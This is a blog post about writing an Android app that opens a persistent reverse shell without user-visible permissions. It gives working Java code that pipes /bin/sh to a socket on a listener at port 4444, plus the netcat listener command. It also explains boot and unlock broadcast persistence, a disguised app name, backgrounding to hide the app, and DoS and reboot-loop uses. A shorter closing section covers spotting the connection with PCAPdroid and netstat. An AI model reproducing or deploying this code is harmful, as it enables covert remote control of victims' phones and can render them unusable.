Get persistent reverse shell from Android app without visible permissions to make device unusable

by Prapattimynk, Thursday, 28 September 2023 (5 months ago)
Get persistent reverse shell from Android app without visible permissions to make device unusable


This blog will introduce you how it is possible to write a persistent reverse shell app on Android without any user requested and visible permissions. Since such application has no permissions, it shouldn’t be able to perform any task. Well, that isn’t true. We will take a quick look on how Android permissions system works, how it is possible for such permissions-less shell app to execute remote Denial-Of-Service (DoS), list installed apps, reboot device and others. Besides that, I will show you how to identify such established reverse shell connection from your Android device and get rid of it.

Disclaimer: The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.

How it works without visible permissions

To accomplish above mentioned scenario, we need to developer an Android app that will connect to our device and handles network input output operations. Second device will run netcat utility and will wait for connection. Netcat or nc is a versatile networking tool commonly referred to as the “Swiss Army knife” of networking. It’s available on various Unix-like operating systems, including Linux, and can also be used on Windows. Netcat’s primary purpose is to establish network connections and perform various network-related tasks.

Android is permission-based model. If our app wants to make any network related tasks, such as connect to specific IP address, it needs to have defined necessary permission in AndroidManifest.xml file. If such permission is not specified, then the app can’t use specific API calls that requires it. This can’t be bypassed. Because of that, we need “android.permission.INTERNET” permission which protection level is defined as normal. Android divides all permissions into four protection level categories:

    Normal - A lower-risk permission that gives requesting applications access to isolated application-level features with minimal risk to other applications, the system, or the user.

    Dangerous – A higher-risk permission that gives a requesting application access to private user data or control over the device that can negatively impact the user.

    Signature – A permission that the system grants only if the requesting application is signed with the same certificate as the application that declared the permission.

    signatureOrSystem – A permission that the system grants only to applications that are in a dedicated folder on the Android system image or that are signed with the same certificate as the application that declared the permission.

For our purpose, permissions with protection level normal is what we are interested in. If these permissions are defined in AndroidManifest.xml, they don’t need to be manually allowed by user during runtime and are even not visible from App info context menu, see Figure 1.

Figure 1. Permissions with protection level normal are not visible to user

Android defines 32 permissions with level normal. Complete list of all the permissions with definition of its usage are listed here. For conveniency, below I listed only permissions with protection level normal and their usage.

<!-- Allows an app to use fingerprint hardware.-->

    <permission android:name="android.permission.USE_FINGERPRINT">

                <!-- Allows an application to broadcast an Intent to set an alarm for the user.-->

    <permission android:name="com.android.alarm.permission.SET_ALARM">

               <!-- Allows an application to access extra location provider commands -->

    <permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS">

                <!-- Allows applications to open network sockets. -->

    <permission android:name="android.permission.INTERNET">

                <!-- Allows applications to access information about networks -->

    <permission android:name="android.permission.ACCESS_NETWORK_STATE">

                 <!-- Allows applications to access information about Wi-Fi networks. -->

    <permission android:name="android.permission.ACCESS_WIFI_STATE">

               <!-- Allows applications to change Wi-Fi connectivity state. -->

    <permission android:name="android.permission.CHANGE_WIFI_STATE">

                <!-- Allows applications to connect to paired bluetooth devices. -->

    <permission android:name="android.permission.BLUETOOTH">

                <!-- Allows applications to discover and pair bluetooth devices. -->

    <permission android:name="android.permission.BLUETOOTH_ADMIN">

                 <!-- Allows applications to perform I/O operations over NFC. -->

    <permission android:name="android.permission.NFC"

               <!-- Allows access to the list of accounts in the Accounts Service. -->

    <permission android:name="android.permission.GET_ACCOUNTS">

                <!-- Allows applications to enter Wi-Fi Multicast mode. -->

    <permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE">

                 <!-- Allows access to the vibrator. -->

    <permission android:name="android.permission.VIBRATE">

                <!-- Allows access to the flashlight. -->

    <permission android:name="android.permission.FLASHLIGHT">

                <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen

         from dimming. -->

    <permission android:name="android.permission.WAKE_LOCK">

                <!-- Allows using the device's IR transmitter, if available. -->

    <permission android:name="android.permission.TRANSMIT_IR">

               <!-- Allows an application to modify global audio settings. -->

    <permission android:name="android.permission.MODIFY_AUDIO_SETTINGS">

                <!-- Allows applications to disable the keyguard if it is not secure. -->

    <permission android:name="android.permission.DISABLE_KEYGUARD">

               <!-- Allows an application to change the Z-order of tasks. -->

    <permission android:name="android.permission.REORDER_TASKS">

               <!-- Allows an application to call

        {@link android.app.ActivityManager#killBackgroundProcesses}. -->

    <permission android:name="android.permission.KILL_BACKGROUND_PROCESSES">

               <!-- Allows applications to set the wallpaper. -->

    <permission android:name="android.permission.SET_WALLPAPER">

                 <!-- Allows applications to set the wallpaper hints. -->

    <permission android:name="android.permission.SET_WALLPAPER_HINTS">

                <!-- Allows applications to set the system time zone. -->

    <permission android:name="android.permission.SET_TIME_ZONE">

                <!-- Allows an application to install a shortcut in Launcher. -->

    <permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT">

                <!-- Allows applications to read the sync settings. -->

    <permission android:name="android.permission.READ_SYNC_SETTINGS">

                <!-- Allows applications to read the sync stats. -->

    <permission android:name="android.permission.READ_SYNC_STATS">

               <!-- Allows an application to find out the space used by any package. -->

    <permission android:name="android.permission.GET_PACKAGE_SIZE">

                <!-- Allows an application to receive the

         {@link android.content.Intent#ACTION_BOOT_COMPLETED} that is

         broadcast after the system finishes booting.  If you don't

         request this permission, you will not receive the broadcast at

         that time.  Though holding this permission does not have any

         security implications, it can have a negative impact on the

         user experience by increasing the amount of time it takes the

         system to start and allowing applications to have themselves

         running without the user being aware of them.  As such, you must

         explicitly declare your use of this facility to make that visible

         to the user. -->

    <permission android:name="android.permission.RECEIVE_BOOT_COMPLETED">

                <!-- Allows an application to broadcast sticky intents.  These are

         broadcasts whose data is held by the system after being finished,

         so that clients can quickly retrieve that data without having

         to wait for the next broadcast. -->

    <permission android:name="android.permission.BROADCAST_STICKY">

                <!-- Allows applications to change network connectivity state. -->

    <permission android:name="android.permission.CHANGE_NETWORK_STATE">

               <!-- Allows an application to request installing packages. Apps

         targeting APIs greater than 22 must hold this permission in

         order to use {@link android.content.Intent#ACTION_INSTALL_PACKAGE}. -->

    <permission android:name="android.permission.REQUEST_INSTALL_PACKAGES">

               <!-- Marker permission for applications that wish to access notification policy. -->

    <permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY">

This means that we can use API calls that requires any of these permissions in our app, and user will net be notified about it.

Implementation

From the code perspective, we need three things – define permissions, create socket and include persistence.

You can define any permissions from above list, or even include all of them in AndroidManifest.xml.

For the connection I will use a local IP, however, using dynamic DNS it would be possible to make such connection over internet. In the code snippet below, I created socket that connects to our device with IP address 192.168.0.192 on port 4444.

Runnable runnable = new Runnable() {
    @Override
    public void run() {
        try {
            String[] cmd = {"/bin/sh","-i"};
            Process proc = Runtime.getRuntime().exec(cmd);
            InputStream proc_in = proc.getInputStream();
            OutputStream proc_out = proc.getOutputStream();
            InputStream proc_err = proc.getErrorStream();

            Socket socket = new Socket("192.168.0.192",4444);
            InputStream socket_in = socket.getInputStream();
            OutputStream socket_out = socket.getOutputStream();

            while(true){
                while(proc_in.available()>0)  socket_out.write(proc_in.read());
                while(proc_err.available()>0) socket_out.write(proc_err.read());
                while(socket_in.available()>0)  proc_out.write(socket_in.read());
                socket_out.flush();
                proc_out.flush();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }catch (StringIndexOutOfBoundsException e) {
            e.printStackTrace();
        }
    }

To make our app persistent, which means it will connect to our netcat listener every time when device gets restarted, connectivity changes or user just unlocks the screen, we need to include an intent filter in AndroidManifest or dynamically register broadcast listener that will be triggered when defined actions occurs and immediately execute the code above and connects to the listener. This is standard persistence technique listed in MITRE ATT&CK® for Mobile under Persistence tactic and defined as Boot or Logon Initialization Scripts (T1398) and Event Triggered Execution: Broadcast Receivers (T1624.001).

Remote control

On a device that will control our target, we need to start netcat listener on port 4444, the same as defined in the code, using command:

nc -nvlp 4444

On targeted smartphone, install and open Totally not a virus. Trust me...im a dolphin app.

Once app is opened, we got shell. I also implemented call that moves main activity into background using method moveTaskToBack(true), so it looks like app doesn’t work.

In reverse shell, we can send standard Linux or Android commands, but don’t forget we are limited by defined permissions. Practically, we can:

  • list directories (we can’t see actual files, we are missing android.permission.READ_EXTERNAL_STORAGE permission),
  • list packages of installed apps,
  • trigger Denial-Of-Service (DoS) attack that makes device partially unusable,
  • reboot device,
  • get standard device information such as model, manufacturer, OS version, etc.,
  • dumpsys,
  • request superuser privileges (if device is already rooted).

In the video below, you can see the whole process.

Identify reverse shell connection

To inspect incoming and outcoming network traffic, you can install any network inspection app from Google Play such as PCAPdroid and launch monitoring. This will reveal all the communication coming in and out from your smartphone. Finding unwanted traffic from reverse shell might take some time and requires you to investigate transferred data in Payload section. If app communicates using HTTPS protocol, then data will be encrypted, and inspection will not help. In our case, besides Google services apps, we see only our Totally not a virus. Trust me...im a dolphin app is active, and we can notice IP address and port the app uses for communication, see Figure 2.

Figure 2. Active network connections on our device

Tapping on the CONNECTIONS menu, we get its overview and payload that contains received and executed commands, see Figure 3.

Figure 3. Data payload from connection session

List of open connections you can get even from terminal app such as Termux using netstat utility. Its primary purpose is to provide information and statistics about network connections, routing tables, interface statistics, masquerade connections, and more. The name netstat is short for “network statistics”. To return TCP connections, use command netstat -tnap. Command output is visible in Figure 4.

Figure 4. netstat command output

It is also possible to obtain PID and Program name responsible for the connection, however only as superuser, which means that device needs to be rooted.

From PCAPdroid we found our reverse shell app. From app menu we can find this app and uninstall it.

Conclusion

We were able to create a reverse shell app without any visible permissions and still were able to perform few tasks. As a result, we could perform a persistent DoS to make user device practically unusable and even make it reboot in a loop. This was possible because of implemented persistence via intent filters that would launch our application and would connect to our listener after each reboot or anytime user locks or unlocks device.



Comments

Your email address will not be published. Required fields are marked *

Ads Blocker Image Powered by Code Help Pro

AdBlocker Detected!!!

We have detected that you are using extensions to block ads. Please support us by disabling these ads blocker.